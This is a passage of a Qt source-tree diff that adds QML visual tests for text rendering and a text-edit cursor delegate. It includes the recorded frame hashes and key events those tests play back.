font.letterSpacing: 200 + } + Text { + text: s.text; font.underline: true; font.letterSpacing: 200; font.capitalization: "AllUppercase"; color: "blue" + } + Text { + text: s.text; font.overline: true; font.wordSpacing: 25; font.capitalization: "Capitalize"; color: "green" + } + Text { + text: s.text; font.pixelSize: 18; style: Text.Outline; styleColor: "white" + } + Text { + text: s.text; font.pixelSize: 18; style: Text.Sunken; styleColor: "gray" + } + Text { + text: s.text; font.pixelSize: 18; style: Text.Raised; styleColor: "yellow" + } + Text { + text: s.text; horizontalAlignment: Text.AlignLeft; width: 800 + } + Text { + text: s.text; horizontalAlignment: Text.AlignHCenter; verticalAlignment: Text.AlignVCenter; width: 800; height: 20 + } + Text { + text: s.text; horizontalAlignment: Text.AlignRight; verticalAlignment: Text.AlignBottom; width: 800; height: 20 + } + Text { + text: s.text; font.pixelSize: 18; style: Text.Outline; styleColor: "white"; wrap: true; width: 200 + } + Text { + text: s.text; elide: Text.ElideLeft; width: 200 + } + Text { + text: s.text; elide: Text.ElideMiddle; width: 200 + } + Text { + text: s.text; elide: Text.ElideRight; width: 200 + } + Text { + text: s.text; elide: Text.ElideLeft; width: 200; wrap: true + } + Text { + text: s.text; elide: Text.ElideMiddle; width: 200; wrap: true + } + Text { + text: s.text; elide: Text.ElideRight; width: 200; wrap: true + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext.qml new file mode 100644 index 0000000..35aa232 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/font/richtext.qml @@ -0,0 +1,85 @@ +import Qt 4.6 + +Rectangle { + id: s; width: 800; height: 1000; color: "lightsteelblue" + property string text: "The quick brown fox jumps over the lazy dog." + + Column { + spacing: 10 + Text { + text: s.text + } + Text { + text: s.text; font.pixelSize: 18 + } + Text { + text: s.text; font.pointSize: 25 + } + Text { + text: s.text; color: "red"; smooth: true + } + Text { + text: s.text; font.capitalization: "AllUppercase" + } + Text { + text: s.text; font.underline: true + } + Text { + text: s.text; font.overline: true; smooth: true + } + Text { + text: s.text; font.strikeout: true + } + Text { + text: s.text; font.underline: true; font.overline: true; font.strikeout: true + } + Text { + text: s.text; font.letterSpacing: 200 + } + Text { + text: s.text; font.underline: true; font.letterSpacing: 200; font.capitalization: "AllUppercase"; color: "blue" + } + Text { + text: s.text; font.overline: true; font.wordSpacing: 25; font.capitalization: "Capitalize"; color: "green" + } + Text { + text: s.text; font.pixelSize: 18; style: Text.Outline; styleColor: "white" + } + Text { + text: s.text; font.pixelSize: 18; style: Text.Sunken; styleColor: "gray" + } + Text { + text: s.text; font.pixelSize: 18; style: Text.Raised; styleColor: "yellow" + } + Text { + text: s.text; horizontalAlignment: Text.AlignLeft; width: 800 + } + Text { + text: s.text; horizontalAlignment: Text.AlignHCenter; verticalAlignment: Text.AlignVCenter; width: 800; height: 20 + } + Text { + text: s.text; horizontalAlignment: Text.AlignRight; verticalAlignment: Text.AlignBottom; width: 800; height: 20 + } + Text { + text: s.text; font.pixelSize: 18; style: Text.Outline; styleColor: "white"; wrap: true; width: 200 + } + Text { + text: s.text; elide: Text.ElideLeft; width: 200 + } + Text { + text: s.text; elide: Text.ElideMiddle; width: 200 + } + Text { + text: s.text; elide: Text.ElideRight; width: 200 + } + Text { + text: s.text; elide: Text.ElideLeft; width: 200; wrap: true + } + Text { + text: s.text; elide: Text.ElideMiddle; width: 200; wrap: true + } + Text { + text: s.text; elide: Text.ElideRight; width: 200; wrap: true + } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/cursorDelegate.qml new file mode 100644 index 0000000..5516fc9 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/cursorDelegate.qml @@ -0,0 +1,35 @@ +import Qt 4.6 + Rectangle { + resources: [ + Component { id: cursorA + Item { id: cPage; + x: Behavior { NumberAnimation { } } + y: Behavior { NumberAnimation { } } + height: Behavior { NumberAnimation { duration: 200 } } + Rectangle { id: cRectangle; color: "black"; y: 1; width: 1; height: parent.height-2; + Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} + Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} + opacity: 1 + opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Animation.Infinite; + NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} + NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} + } + } + width: 1; + } + } + ] + width: 400 + height: 200 + color: "white" + TextEdit { id: mainText + text: "Hello World" + cursorDelegate: cursorA + focus: true + font.pixelSize: 28 + selectionColor: "lightsteelblue" + selectedTextColor: "deeppink" + color: "forestgreen" + anchors.centerIn: parent + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.0.png new file mode 100644 index 0000000..464a578 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.1.png new file mode 100644 index 0000000..9beb1ca Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.2.png new file mode 100644 index 0000000..001be30 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.3.png new file mode 100644 index 0000000..fc3e4b3 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.4.png new file mode 100644 index 0000000..24f43e6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.5.png new file mode 100644 index 0000000..001223b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.6.png new file mode 100644 index 0000000..7126e07 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.7.png new file mode 100644 index 0000000..f0bea88 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.7.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.8.png new file mode 100644 index 0000000..4381b8d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.8.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.qml new file mode 100644 index 0000000..8ee92d7 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/cursorDelegate.qml @@ -0,0 +1,3555 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 32 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 48 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 64 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 80 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 96 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 112 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 128 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 144 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 160 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 176 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 192 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 208 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 224 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 240 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 256 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 272 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 288 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 304 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 320 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 336 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 352 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 368 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 384 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 400 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 416 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 432 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 448 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 464 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 480 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 496 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 512 + hash: "e0366dbd264ca453f5dad3a7966f17a2" + } + Frame { + msec: 528 + hash: "84cad44c4cccf8a0942865719d05c2eb" + } + Frame { + msec: 544 + hash: "60d24c160adb8e074c04d4f40bf140a8" + } + Frame { + msec: 560 + hash: "ff5fac70804eb01da28c2988aba520a4" + } + Frame { + msec: 576 + hash: "a6bdf56b4f8783969935488e1955e59c" + } + Frame { + msec: 592 + hash: "d0ad97647c5092a64426187406ec5316" + } + Frame { + msec: 608 + hash: "77e7a4a4a9c38cd7b5ef734d39089e3f" + } + Frame { + msec: 624 + hash: "0285340a2e03568810a76d840369f5c8" + } + Frame { + msec: 640 + hash: "6ba6a1a05c5a9ec0d2897b3454affd09" + } + Frame { + msec: 656 + hash: "3caa36cc3857803248d12ec09ea357df" + } + Frame { + msec: 672 + hash: "500f7b72acc877fc1662e4f4ceb090e1" + } + Frame { + msec: 688 + hash: "aadc71923926885ccce87e6be1c742d7" + } + Frame { + msec: 704 + hash: "9b7503189ecf2999934716f227469463" + } + Frame { + msec: 720 + hash: "874296e182abe96e58f9c0463a0f32c9" + } + Frame { + msec: 736 + hash: "4262c79b6844d4d62aa9fb02c335fb95" + } + Frame { + msec: 752 + hash: "a5862eaf12cc342054fd3f8d1f4c91c3" + } + Frame { + msec: 768 + hash: "0034ef8851c9810ed5d50496aea367da" + } + Frame { + msec: 784 + hash: "24cebf60ade86469a154abaa64f3b40d" + } + Frame { + msec: 800 + hash: "1100ef4e2db234ea77ff4c70df6bfbe7" + } + Frame { + msec: 816 + hash: "c40d8d42a55dde7dbbcae2dda9aaccb8" + } + Frame { + msec: 832 + hash: "5c1000fdc279742cbe46987045c0a92b" + } + Frame { + msec: 848 + hash: "bcef4a0ff72330f05f2bf5042e414fde" + } + Frame { + msec: 864 + hash: "228551c38b567f1550b44f9dac08786b" + } + Frame { + msec: 880 + hash: "531c5ca6992c4a12927c61e22c02dd6b" + } + Frame { + msec: 896 + hash: "127cc30967f95cb88f4238e0b33c741d" + } + Frame { + msec: 912 + hash: "3c3fb1d8dbe7443f80550a30ada7f120" + } + Frame { + msec: 928 + hash: "edca065d42bf9b63a79d1e97d1a1eed0" + } + Frame { + msec: 944 + hash: "1e4424f1f40bfce3205e1d1401ab0dcf" + } + Frame { + msec: 960 + image: "cursorDelegate.0.png" + } + Frame { + msec: 976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 1072 + hash: "90ac5ad7ce23786fe838426605e737e1" + } + Frame { + msec: 1088 + hash: "1e4424f1f40bfce3205e1d1401ab0dcf" + } + Frame { + msec: 1104 + hash: "edca065d42bf9b63a79d1e97d1a1eed0" + } + Frame { + msec: 1120 + hash: "3c3fb1d8dbe7443f80550a30ada7f120" + } + Frame { + msec: 1136 + hash: "127cc30967f95cb88f4238e0b33c741d" + } + Frame { + msec: 1152 + hash: "531c5ca6992c4a12927c61e22c02dd6b" + } + Frame { + msec: 1168 + hash: "228551c38b567f1550b44f9dac08786b" + } + Frame { + msec: 1184 + hash: "bcef4a0ff72330f05f2bf5042e414fde" + } + Frame { + msec: 1200 + hash: "5c1000fdc279742cbe46987045c0a92b" + } + Frame { + msec: 1216 + hash: "c40d8d42a55dde7dbbcae2dda9aaccb8" + } + Frame { + msec: 1232 + hash: "1100ef4e2db234ea77ff4c70df6bfbe7" + } + Frame { + msec: 1248 + hash: "24cebf60ade86469a154abaa64f3b40d" + } + Frame { + msec: 1264 + hash: "0034ef8851c9810ed5d50496aea367da" + } + Frame { + msec: 1280 + hash: "a5862eaf12cc342054fd3f8d1f4c91c3" + } + Frame { + msec: 1296 + hash: "4262c79b6844d4d62aa9fb02c335fb95" + } + Frame { + msec: 1312 + hash: "874296e182abe96e58f9c0463a0f32c9" + } + Frame { + msec: 1328 + hash: "9b7503189ecf2999934716f227469463" + } + Frame { + msec: 1344 + hash: "aadc71923926885ccce87e6be1c742d7" + } + Frame { + msec: 1360 + hash: "500f7b72acc877fc1662e4f4ceb090e1" + } + Frame { + msec: 1376 + hash: "3caa36cc3857803248d12ec09ea357df" + } + Key { + type: 6 + key: 16777232 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1392 + hash: "6ba6a1a05c5a9ec0d2897b3454affd09" + } + Frame { + msec: 1408 + hash: "0285340a2e03568810a76d840369f5c8" + } + Frame { + msec: 1424 + hash: "77e7a4a4a9c38cd7b5ef734d39089e3f" + } + Frame { + msec: 1440 + hash: "d0ad97647c5092a64426187406ec5316" + } + Frame { + msec: 1456 + hash: "a6bdf56b4f8783969935488e1955e59c" + } + Key { + type: 7 + key: 16777232 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1472 + hash: "ff5fac70804eb01da28c2988aba520a4" + } + Frame { + msec: 1488 + hash: "60d24c160adb8e074c04d4f40bf140a8" + } + Frame { + msec: 1504 + hash: "84cad44c4cccf8a0942865719d05c2eb" + } + Frame { + msec: 1520 + hash: "907c6363d1e524f391d001944febe1ac" + } + Frame { + msec: 1536 + hash: "313a06d40274e46453342e66236f09f8" + } + Frame { + msec: 1552 + hash: "0d410f7bfa3e4c58948a8f1e7c7695c4" + } + Frame { + msec: 1568 + hash: "a9911e076af337fe30e322f03d84a528" + } + Frame { + msec: 1584 + hash: "4a8efcc341bba9ba621ce0f785a75432" + } + Frame { + msec: 1600 + hash: "479f192c8cf7b8e4407655382402700f" + } + Frame { + msec: 1616 + hash: "63dc16e66def35abba5159d5650f165d" + } + Frame { + msec: 1632 + hash: "26e88aae512304c28d425c311febce1b" + } + Key { + type: 6 + key: 16777233 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1648 + hash: "8dca7a7912ddaa853dff9c09882082b1" + } + Frame { + msec: 1664 + hash: "5c3ebee155e29a0ba4a45706dd87396a" + } + Frame { + msec: 1680 + hash: "29a517a66867f6f527c6db5bb5651f92" + } + Frame { + msec: 1696 + hash: "a4fde31f55f866224eca2b51586b601f" + } + Frame { + msec: 1712 + hash: "9c9c7fb9fb8aab8c24f2eb03df791a00" + } + Frame { + msec: 1728 + hash: "dd972e37166d1186a717a956343a7758" + } + Key { + type: 7 + key: 16777233 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1744 + hash: "1af5e24651ef422ff93dab7bd2a8f832" + } + Frame { + msec: 1760 + hash: "885473be4e44bb1f4b014f9b3d4d2e74" + } + Frame { + msec: 1776 + hash: "1f6e0407392322c34567caaecae5b449" + } + Frame { + msec: 1792 + hash: "dcae85a4b05c450b6b1619f9fd7e17b0" + } + Frame { + msec: 1808 + hash: "3b872e5030e34edf678ac2547df48699" + } + Frame { + msec: 1824 + hash: "5d76b324496297d08cff57b4c21ce592" + } + Frame { + msec: 1840 + hash: "4acfe3c4cf2f4e477f1a72817af556d2" + } + Frame { + msec: 1856 + hash: "a04671fe8d28cfb629f2090e342747fb" + } + Frame { + msec: 1872 + hash: "2474db802c7d8e0ec8fa7f958c04bf30" + } + Frame { + msec: 1888 + hash: "11a1e1f38c407de4bc069aa192319fe4" + } + Frame { + msec: 1904 + hash: "ec8aacc8d2280068dd7f020e8648afea" + } + Frame { + msec: 1920 + image: "cursorDelegate.1.png" + } + Frame { + msec: 1936 + hash: "fbbe4d0fed6274968a89e02bb1ca5685" + } + Frame { + msec: 1952 + hash: "13d478424a8f0cab8bab6a157efce318" + } + Frame { + msec: 1968 + hash: "ea6bc9ec217fb80b86276a2675c08a0f" + } + Frame { + msec: 1984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2064 + hash: "ea6bc9ec217fb80b86276a2675c08a0f" + } + Frame { + msec: 2080 + hash: "13d478424a8f0cab8bab6a157efce318" + } + Frame { + msec: 2096 + hash: "fbbe4d0fed6274968a89e02bb1ca5685" + } + Frame { + msec: 2112 + hash: "00dedd48bd6861cb4bf4953162a67cc0" + } + Key { + type: 6 + key: 16777248 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2128 + hash: "ec8aacc8d2280068dd7f020e8648afea" + } + Frame { + msec: 2144 + hash: "11a1e1f38c407de4bc069aa192319fe4" + } + Frame { + msec: 2160 + hash: "2474db802c7d8e0ec8fa7f958c04bf30" + } + Frame { + msec: 2176 + hash: "a04671fe8d28cfb629f2090e342747fb" + } + Frame { + msec: 2192 + hash: "4acfe3c4cf2f4e477f1a72817af556d2" + } + Frame { + msec: 2208 + hash: "5d76b324496297d08cff57b4c21ce592" + } + Frame { + msec: 2224 + hash: "3b872e5030e34edf678ac2547df48699" + } + Frame { + msec: 2240 + hash: "dcae85a4b05c450b6b1619f9fd7e17b0" + } + Frame { + msec: 2256 + hash: "1f6e0407392322c34567caaecae5b449" + } + Frame { + msec: 2272 + hash: "885473be4e44bb1f4b014f9b3d4d2e74" + } + Frame { + msec: 2288 + hash: "1af5e24651ef422ff93dab7bd2a8f832" + } + Frame { + msec: 2304 + hash: "dd972e37166d1186a717a956343a7758" + } + Frame { + msec: 2320 + hash: "9c9c7fb9fb8aab8c24f2eb03df791a00" + } + Key { + type: 6 + key: 16777232 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2336 + hash: "aec9683f3a677dab781bdf3bbf7cce5e" + } + Frame { + msec: 2352 + hash: "63c6a7810dec832f1b8288807f1d932a" + } + Frame { + msec: 2368 + hash: "70409eeee50fbb54097a3c430e1e1f21" + } + Frame { + msec: 2384 + hash: "efc77b82c0ffd7f3fbe5fed06ea418bd" + } + Frame { + msec: 2400 + hash: "26e88aae512304c28d425c311febce1b" + } + Frame { + msec: 2416 + hash: "63dc16e66def35abba5159d5650f165d" + } + Frame { + msec: 2432 + hash: "479f192c8cf7b8e4407655382402700f" + } + Key { + type: 7 + key: 16777232 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2448 + hash: "4a8efcc341bba9ba621ce0f785a75432" + } + Frame { + msec: 2464 + hash: "a9911e076af337fe30e322f03d84a528" + } + Frame { + msec: 2480 + hash: "0d410f7bfa3e4c58948a8f1e7c7695c4" + } + Frame { + msec: 2496 + hash: "313a06d40274e46453342e66236f09f8" + } + Frame { + msec: 2512 + hash: "907c6363d1e524f391d001944febe1ac" + } + Frame { + msec: 2528 + hash: "84cad44c4cccf8a0942865719d05c2eb" + } + Frame { + msec: 2544 + hash: "60d24c160adb8e074c04d4f40bf140a8" + } + Frame { + msec: 2560 + hash: "ff5fac70804eb01da28c2988aba520a4" + } + Frame { + msec: 2576 + hash: "a6bdf56b4f8783969935488e1955e59c" + } + Frame { + msec: 2592 + hash: "d0ad97647c5092a64426187406ec5316" + } + Frame { + msec: 2608 + hash: "77e7a4a4a9c38cd7b5ef734d39089e3f" + } + Frame { + msec: 2624 + hash: "0285340a2e03568810a76d840369f5c8" + } + Frame { + msec: 2640 + hash: "6ba6a1a05c5a9ec0d2897b3454affd09" + } + Frame { + msec: 2656 + hash: "3caa36cc3857803248d12ec09ea357df" + } + Frame { + msec: 2672 + hash: "500f7b72acc877fc1662e4f4ceb090e1" + } + Frame { + msec: 2688 + hash: "aadc71923926885ccce87e6be1c742d7" + } + Frame { + msec: 2704 + hash: "9b7503189ecf2999934716f227469463" + } + Frame { + msec: 2720 + hash: "874296e182abe96e58f9c0463a0f32c9" + } + Frame { + msec: 2736 + hash: "4262c79b6844d4d62aa9fb02c335fb95" + } + Frame { + msec: 2752 + hash: "a5862eaf12cc342054fd3f8d1f4c91c3" + } + Frame { + msec: 2768 + hash: "0034ef8851c9810ed5d50496aea367da" + } + Frame { + msec: 2784 + hash: "24cebf60ade86469a154abaa64f3b40d" + } + Key { + type: 7 + key: 16777248 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2800 + hash: "1100ef4e2db234ea77ff4c70df6bfbe7" + } + Frame { + msec: 2816 + hash: "c40d8d42a55dde7dbbcae2dda9aaccb8" + } + Frame { + msec: 2832 + hash: "5c1000fdc279742cbe46987045c0a92b" + } + Frame { + msec: 2848 + hash: "bcef4a0ff72330f05f2bf5042e414fde" + } + Frame { + msec: 2864 + hash: "228551c38b567f1550b44f9dac08786b" + } + Frame { + msec: 2880 + image: "cursorDelegate.2.png" + } + Frame { + msec: 2896 + hash: "127cc30967f95cb88f4238e0b33c741d" + } + Frame { + msec: 2912 + hash: "3c3fb1d8dbe7443f80550a30ada7f120" + } + Frame { + msec: 2928 + hash: "edca065d42bf9b63a79d1e97d1a1eed0" + } + Frame { + msec: 2944 + hash: "1e4424f1f40bfce3205e1d1401ab0dcf" + } + Frame { + msec: 2960 + hash: "90ac5ad7ce23786fe838426605e737e1" + } + Frame { + msec: 2976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 2992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 3072 + hash: "90ac5ad7ce23786fe838426605e737e1" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3088 + hash: "cf467854dfde9b2111bc6e7e4442aab5" + } + Frame { + msec: 3104 + hash: "df6f025130dc82f4764def81cec5fa7b" + } + Frame { + msec: 3120 + hash: "bdcafed4ae9c890eec2e3e0cb2ff5a14" + } + Frame { + msec: 3136 + hash: "14b328c8ec6276e022643102af80fa44" + } + Frame { + msec: 3152 + hash: "078d75d72bff036574b85ac0aeaaf2b6" + } + Frame { + msec: 3168 + hash: "fbefb1e0801f4578ab93dd7ff4062e68" + } + Frame { + msec: 3184 + hash: "eac8375d9b9cf0afbf232e27c6ceb037" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3200 + hash: "3462a3e166120515e67430600e4653f8" + } + Frame { + msec: 3216 + hash: "7f2d9959323f0707e36ecb2252c89727" + } + Frame { + msec: 3232 + hash: "0a1c2eb8a7451a5e37fefb96a58a88a1" + } + Frame { + msec: 3248 + hash: "4a02aaca12e3fd86ee3b516b3a307f86" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3264 + hash: "0034ef8851c9810ed5d50496aea367da" + } + Frame { + msec: 3280 + hash: "a5862eaf12cc342054fd3f8d1f4c91c3" + } + Frame { + msec: 3296 + hash: "4262c79b6844d4d62aa9fb02c335fb95" + } + Frame { + msec: 3312 + hash: "874296e182abe96e58f9c0463a0f32c9" + } + Frame { + msec: 3328 + hash: "9b7503189ecf2999934716f227469463" + } + Frame { + msec: 3344 + hash: "aadc71923926885ccce87e6be1c742d7" + } + Frame { + msec: 3360 + hash: "500f7b72acc877fc1662e4f4ceb090e1" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 3376 + hash: "3caa36cc3857803248d12ec09ea357df" + } + Frame { + msec: 3392 + hash: "6ba6a1a05c5a9ec0d2897b3454affd09" + } + Frame { + msec: 3408 + hash: "0285340a2e03568810a76d840369f5c8" + } + Frame { + msec: 3424 + hash: "77e7a4a4a9c38cd7b5ef734d39089e3f" + } + Frame { + msec: 3440 + hash: "d0ad97647c5092a64426187406ec5316" + } + Frame { + msec: 3456 + hash: "a6bdf56b4f8783969935488e1955e59c" + } + Frame { + msec: 3472 + hash: "ff5fac70804eb01da28c2988aba520a4" + } + Frame { + msec: 3488 + hash: "60d24c160adb8e074c04d4f40bf140a8" + } + Frame { + msec: 3504 + hash: "84cad44c4cccf8a0942865719d05c2eb" + } + Frame { + msec: 3520 + hash: "907c6363d1e524f391d001944febe1ac" + } + Frame { + msec: 3536 + hash: "313a06d40274e46453342e66236f09f8" + } + Frame { + msec: 3552 + hash: "0d410f7bfa3e4c58948a8f1e7c7695c4" + } + Frame { + msec: 3568 + hash: "a9911e076af337fe30e322f03d84a528" + } + Frame { + msec: 3584 + hash: "4a8efcc341bba9ba621ce0f785a75432" + } + Frame { + msec: 3600 + hash: "479f192c8cf7b8e4407655382402700f" + } + Frame { + msec: 3616 + hash: "63dc16e66def35abba5159d5650f165d" + } + Frame { + msec: 3632 + hash: "26e88aae512304c28d425c311febce1b" + } + Frame { + msec: 3648 + hash: "efc77b82c0ffd7f3fbe5fed06ea418bd" + } + Frame { + msec: 3664 + hash: "70409eeee50fbb54097a3c430e1e1f21" + } + Frame { + msec: 3680 + hash: "63c6a7810dec832f1b8288807f1d932a" + } + Frame { + msec: 3696 + hash: "aec9683f3a677dab781bdf3bbf7cce5e" + } + Frame { + msec: 3712 + hash: "2e6dd79fc23acbf710e757f3d0999ab8" + } + Frame { + msec: 3728 + hash: "4d9dd9e515a21478cb3364032acf8c15" + } + Frame { + msec: 3744 + hash: "5dc2129cac6e667d39da3304a37a76f2" + } + Frame { + msec: 3760 + hash: "ab5eb4750139875586a346b1c3a84f42" + } + Frame { + msec: 3776 + hash: "96d3bd62d4a0bf39a672b97fcc050bd5" + } + Frame { + msec: 3792 + hash: "546cec655631b5802eb4d7008093eb69" + } + Frame { + msec: 3808 + hash: "85f33f1bf1b1e11be450ab85bf6dab3d" + } + Frame { + msec: 3824 + hash: "44b195297acd1bf59e43751df8dc1c1d" + } + Frame { + msec: 3840 + image: "cursorDelegate.3.png" + } + Frame { + msec: 3856 + hash: "47942253c07fd39894445ff5e5b9608c" + } + Frame { + msec: 3872 + hash: "d26d71b1c03fb21550820dd1586a7a8e" + } + Frame { + msec: 3888 + hash: "37ec2ed29006575e8bd41a1989b75e27" + } + Frame { + msec: 3904 